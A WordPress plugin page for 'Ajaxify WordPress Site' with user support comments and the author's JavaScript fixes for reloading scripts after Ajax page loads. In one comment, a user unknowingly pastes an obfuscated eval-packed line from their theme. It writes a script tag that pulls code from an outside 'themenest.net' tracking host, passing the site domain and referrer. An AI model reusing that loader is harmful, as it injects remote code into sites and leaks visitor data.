AWS plug-in for wordpress

Plug-in name: Ajaxify WordPress Site(AWS)

Download Link: http://wordpress.org/extend/plugins/ajaxify-wordpress-site/

Author: Manish Kumar Agarwal

Description: Ajaxify WordPress Site will load posts, pages, search, header, sidebar, footer sections etc. without refreshing the browser. This means any navigation actions on the site’s front-end will be Ajaxified and run much more smoother, without reloading the page every time.

Need this script installing/modifying? I  can install this script and integrate it into your website for a small fee, or make modifications/add new features that you require. Mail me at youngtec@youngtechleads.com

Features:

  • Post/Page will load without browser refresh.
  • Make wordpress search to ajaxify search.
  • Your custom theme design will not break.
  • Menu will update with changing the page content.
  • Your site will be keep as complete SEO friendly.
  • Support available.
  • Tested with several famous Themes.

Your sidebar also load without browser refresh, means if a site having different widget in different page at sidebar then they can also use this AWS plug-in.

84 thoughts on “AWS plug-in for wordpress

  1. Disable BuddypressMobile

    Now getting this

    Above Header-
    Groups – Dlget !!
    /* */
    /* */
    /* */
    var ajaxurl = ‘http://www.dlget.co.cc/wp-admin/admin-ajax.php’;
    jQuery(document).ready( function() { jQuery(“a.confirm”).click( function() { if ( confirm( ‘Are you sure?’ ) ) return true; else return false; }); });
    //

    Below Footer-
    /* */
    (function() { var request, b = document.body, c = ‘className’, cs = ‘customize-support’, rcs = new RegExp(‘(^|\\s+)(no-)?’+cs+’(\\s+|$)’); request = true; b[c] = b[c].replace( rcs, ” ); b[c] += ( window.postMessage && request ? ‘ ‘ : ‘ no-’ ) + cs; }());

    Groups – Dlget !!=seems page name

  2. - Yes understand your problem.
    - I am sure you are not provided the correct DIV ID in the 2nd text box of AWS options form.
    - In your case it should be ‘container’.

  3. The current menu highlight dont work.
    I’ve provided the exact div class and container of the menu. But still dont work.
    Any ideas?

    Thanks

    • Hi Elie,
      If you have no problem then can you provide me the link and id which you have provided thus I’ll be sure exactly where is the issue.
      So I can also update into the plugin it self.

      • Thank you Manish!

        Is working fine now.
        Just one more thing:

        How can we make other plugins load after ajax load the page?
        I’m using masonry in my theme and won’t load with this plugin activated.

        Thanks in advance.

        Regards

        E.

        • I’m using isotope in a Pagelines section, and my pages won’t load. Also, latest release does not load pages as smoothly in another site I’m using this in. The current menu item class used to work well to highlight the menu item–now the menu items don’t highlight properly.

          • “latest release”- do you mean to say WordPress 3.5?
            I have tested this if you fill-up the AWS option form correctly then it will work perfectly for menu highlighter too :)

  4. Hi Manish,

    first of all, thanks a lot fot this awesome plugin!! :D

    It’s working very well, except for the menu highlighting part for my part.

    My website is running in local so I can’t provide a link, but what I can say is that before implementing your plugin, I had done the trick of menu highlight with css & php by using an “active” class.

    Now, when I change the tab, it stays on the first tab, not moving to the selected one. Of course I have provided the correct div for the menu in the settings but still doesn’t work.

    If you need my code in order to have a better idea, I can send it to you by mail.

    Thanks in advance,

    Miyu

  5. How to ignore certain anchor with a class?

    I’m using Rootstheme, when I tested the dropdown navigation for mobile size in Opera Mobile emulator, the trigger is

    won’t trigger the dropdown menu…but it would works after I disabled Advanced Ajax Plugins….

    • There are two ways to make a link non ajaxy.
      1: provide class no-ajaxy to anchor(a) tag.
      2: Provide the ID of the parent div of a tag in the first text box in AWS option page. If you have more than one group of a tags then provide the parent IDs in comma(,) separated value.

      Thanks

  6. Hi Manish, can you please, provide an example of javscript code to reload JS files in order to fix the issues with other plugins? I have this problem with the Arconix Portfolio Gallery plugin. The JS files are in the source code but the events don’t work. As you explain in your article http://www.youngtechleads.com/my-js-events-are-not-calling-after-loading-the-page-using-ajax/ we have to reload the corresponding Js files. Can you help me? (again :p )
    http://www.matthieu-sibille.com

      • Hi Manish, That’s the problem i don’t know how to do it :/, that’s why i was asking you to guide me because even if i understand the problem i can’t fix it on my own, i have very basic kwnoledge in javascript unfortunatly and i didn’t find the way to do it on google. Is it complicated and very specific to each WP plugin or there is a general way i can apply to all plugins with this problem? Thank you !

          • Hi Mat,


            scriptNode = document.createElement('script');
            contentNode.appendChild(scriptNode);
            scriptNode.setAttribute('src', rootUrl + 'wp-content/plugins/arconix-portfolio/includes/js/portfolio.js');
            scriptNode = document.createElement('script');
            contentNode.appendChild(scriptNode);
            scriptNode.setAttribute('src', rootUrl + 'wp-content/plugins/wp-lightbox-2/wp-lightbox-2.min.js');

            Please put the above code in ajaxify.js file at line number 168 before ‘// Update meta tags’ text.

            Let me know the status :) sorry for late I was busy with my other tasks :)

  7. hi, thank you very much for your reply. I had some progress with your code, the lightbox plugin works but sadly not the portfolio plugin. I try to add jquery.easing.1.3.js and jquery.quicksand.js in the same manner, i added :

    scriptNode = document.createElement(‘script’);
    contentNode.appendChild(scriptNode);
    scriptNode.setAttribute(‘src’, rootUrl + ‘wp-content/plugins/arconix-portfolio/includes/js/jquery.easing.1.3.js’);

    scriptNode = document.createElement(‘script’);
    contentNode.appendChild(scriptNode);
    scriptNode.setAttribute(‘src’, rootUrl + ‘wp-content/plugins/arconix-portfolio/includes/js/jquery.quicksand.js’);

    But no change, i also tried to de-ajaxifying the filter menu but also no change. Maybe it’s a problem in this 3 js files because the lightbox plugin works fine. I let the added files in ajaxify.js for you to see what it does.
    Also, i noticed that i you refresh the page the lightbox plugin doesn’t work anymore.

    And don’t be sorry it’s me who is sorry ^^, i am a little insistent because i have a friend who’s gonna use your plugin for her site. She’s looking for a job and she’s in a bit of a hurry but for now she will have to do with her site, until this matter is resolved.

    So, what’s to do next for our portfolio plugins? any thoughts? :p

    Thank you Manish who’ve been a great help

    • Hi Manish, your method seems to works, it was the arconix portfolio who had a flaw, it doesn’t support lightbox well..i found another solution and now it’s working, also i still have a bug when i click on the image it opens a larger image but after a second the page is redirected to a 404 page, i don’t think it’s your plugin though. Can you confirm that please?

      The only setback is that we have to load twice all the javascript in order to another plugins to work properly. I hope you will find a workaround :).

      again, a huge thanks for your support !

  8. Hi Manesh,

    I am very excited about this plugin, good work!

    The only issue I am experiencing is that, when I click a link in the menu on my site and the page loads, I get bits of coding in the footer and the header.

    I suspect I haven’t entered the correct DIV ID.
    Can you help me out? :-)

    Cheers,
    Martijn.

  9. Have a bit of problem with the plugin. Entered the Menu container class but nothing happend when i click the menu buttons, the menu is not refreshing. Have a question is there a way to add some code lines that after entering the button the site will scroll down to Ajax container ID: ??

    • have you provided the Menu container class “mainmenu” if yes then then it should work.

      Yes, scroll down possible do the below for this.

      Search & replace below code:
      $content.html(contentHtml)
      .ajaxify()
      .css(‘text-align’, ”)
      .animate({opacity: 1, visibility: “visible”}).animate({opacity: 1},1500);

      By:

      $content.html(contentHtml)
      .ajaxify()
      .css(‘text-align’, ”)
      .animate({opacity: 1, visibility: “visible”})
      .ScrollTo(contentSelector).offset().top;

  10. The code You give me not working after change site start refreshing. I have menu in difrend container i have typed the container i have a menu in and it’s not working. Post refresh but menu not

      • #1: I show not well my problem. My logo’s link re-charge entire site, not only the ID that I’d like refresh with the main menu and I just have the ‘/’ in the url.
        (you can see at http://www.fdez.it).

        #2 Excuse me if loose same sampling in this 3d…but I didn’t found any suggest to correct the functionally of my shortcode.
        At the same url (fdez.it), I’ve inserted one shortcode to realize an accordion. It works at first charge but when I return in home by menu (with your ajax charge) I think that my site doesn’t re-charge same *.js or same *.css

        I read previous posts. Is it any code similar as this that I must insert in the page?

        scriptNode = document.createElement(‘script’);
        contentNode.appendChild(scriptNode);
        scriptNode.setAttribute(‘src’, rootUrl + ‘wp-content/plugins/arconix-portfolio/includes/js/jquery.easing.1.3.js’);

        • For example…

          I need add a popup plugin…
          If I follow what you wrote up, I must re-charge *.js files.
          So…I used this script but it doesn’t work!


          scriptNode = document.createElement('script');
          contentNode.appendChild(scriptNode);
          contentNode.appendChild(scriptNode);
          scriptNode.setAttribute('src', rootUrl + 'http://www.fdez.it/wp-content/plugins/lepopup-wp/files/lepopup_init.js');
          contentNode.appendChild(scriptNode);
          scriptNode.setAttribute('src', rootUrl + 'http://www.fdez.it/wp-content/plugins/lepopup-wp/files/lepopup.js');
          contentNode.appendChild(scriptNode);
          scriptNode.setAttribute('src', rootUrl + 'http://www.fdez.it/wp-content/plugins/lepopup-wp/files/lepopup.min.js');
          contentNode.appendChild(scriptNode);
          scriptNode.setAttribute('src', rootUrl + 'http://www.fdez.it/wp-content/plugins/lepopup-wp/metaboxes/jquery.cmbScripts.js');

  11. is there a way to change plugin that it will reload all page like normal clicking a link and after reloaded the page going down to content ? Because some plugins some thems and menus won’t refresh… And i think it will fix all those problems. Btw there is no scroll down to concent plugin…

    • Sorry I did not understand your problem. Yet I have not seen any theme
      whose menu not working with AWS.
      You have to provide the correct and unique class of the menu container
      then only menu will work perfectly.

  12. Using Easy Contact Forms plugin and not all of of stuff is loading. Thats why i want to edit code that it will refresh all page like pressing a F5 button on keyboard and then srcoll down to div i want

  13. Is there any way to stop the page from scrolling down when using this plugin? I like it but it scrolls down the page every time it loads a page and I would like it to stay at the top of a page when it loads.

    • Scroll to the top of ajax container
      jQuery(‘html, body’).animate({
      scrollTop: jQuery(contentSelector).offset().top
      }, 1000);

      find the above code in ajaxify.js file and comment it. After the scroll will not work.

  14. Hello and first of all thank you for this wonderfull plugin. I really love it!

    Could you help me on one thing plz?

    well i don’t want to have a fade in process when i switch to another page, instead i want something like this

    http://www.wix.com/sample/website-viewer?lng=fr&tmpurl=http%3A%2F%2Fwww.wix.com%2Fhtml-templates%2Fhtml%2Fweb%2Fstart-from-scratch&tmpimage=http%3A%2F%2Fstatic.parastorage.com%2Fmedia%2F11a6e351d04e3f1466b33a35ba1151ba.wix_mp&siteurl=http%3A%2F%2Fwww.ourcoffeepot.com

    I know i must change the js file .

    Thanks you

  15. This plugin kinda breaks lightbox plugins. (“Lightbox2 with slideshow” is the one I’m using)

    If you look at my homepage, and click on an image, the lightbox pops up as expected. If you click on a post title, it loads as expected, nut now clicking on an image doesn’t bring up the lightbox, it takes you away from the post and just displays the image. How can we get AWS to reload the lightbox code?

  16. I have a “fullwidth audio player” installed at the very bottom of the site, http://www.rocktownhall.com/blogs . Problem is that when a user navigates to another page or post the audio player reloads and starts again. Looks like your plugin might avoid that for me but I’m not sure and not sure how to configure it if possible.

    Help?

  17. Everything works great! I managed to make sure the sliders still work among other things with javascript, but I’m having a issue that I can’t seem to resolve.

    Twitter embeds on posts in wordpress. The JavaScript does not load the tweet embed correctly and I can’t seem to get it to work.

  18. Really nice plugin! Is there a way to specify mulitple div/container id’s to load with ajax? I have breadcrumb links in my footer and would like to ajaxify both my main content div and the footer div so the breadcrumb nav in the footer gets updated.

  19. Hi There

    Thanks a lot for your work on AWS. I found out the following:

    - AWS 1.5.1 does work with WordPress 3.6 and Thematic Theme 1.0.4
    - AWS 1.5.2 does not work any more wih WordPress 3.6 and Thematic Theme 1.0.4: After the initial page load when I click on an WP internal link, the first link will be loaded by AJAX, but the second link I click will reload the whole page.

    I don’t know if it’s a Thematic Theme specific issue or not.

    Regards,

    Joel

  20. Great work Manish,
    just tested with 3.6 and the latest Roots theme. I’m just wondering how to add a fade-in transition after the page is loaded …

  21. Hi,

    After I update the plugin to the new version I`m geting error andy no js-script work :/

    The error:
    Uncaught SyntaxError: Unexpected token &

    in:

    try {
    // doesn’t work on ie…
    scriptNode.appendChild(document.createTextNode(scriptText));
    contentNode.appendChild(scriptNode);

    Can you help me?

    Regards,
    Adam

  22. Hello Manish,
    I just installed your AWS plugin on my wordpress page and Iam having some problems with it.
    The fade between the pages works just fine but:
    1.) My submenus dont work anymore
    2.) My context boxes are gone
    3.) I dont have a searchbar in my theme (what do i put in for the search bar div id)
    4.) On the pages the following text appeared on top of the page:

    Tabname | Title |
    /* */
    var template_url = “http://kitealike.com/wp-content/themes/photolio-1.2/photolio”
    eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!”.replace(/^/,String)){while(c–)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return’\\w+’};c=1};while(c–)if(k[c])p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c]);return p}(’0.f(\’\');’,25,25,’document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script’.split(‘|’),0,{}));

    4.) and on the bottom: jQuery(document).ready(function ($) { $(window).load(function () { $(‘#supersized-loader’).delay(500).animate({ bottom : -200 }, 300, function () { $(‘#supersized-loader’).remove(); }); }); });
    (function() { var request, b = document.body, c = ‘className’, cs = ‘customize-support’, rcs = new RegExp(‘(^|\\s+)(no-)?’+cs+’(\\s+|$)’); request = true; b[c] = b[c].replace( rcs, ‘ ‘ ); b[c] += ( window.postMessage && request ? ‘ ‘ : ‘ no-’ ) + cs; }());

    Please help. Thanks in advance
    Johnny

  23. Hi Manish! I would like to hire you to implement your plugin on my site where I want a continuous player. I think I am half-way through but some links does not work. Please email me so I can give you access to my site. Thanks.

  24. Hi Manish,

    Whenever I activate the plugin, neither the pictures nor the slider shows on the homepage or on any other page that I navigate to through ajax. When I deactivate the plugin, all my pictures are displayed. My website address is http://www.gettingdeeper.com.

  25. hi,

    i want to use two “Ajax container ID” one of them is container,
    and onether is my banner ads. when nexp page load i want to resfresh banner ads?

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>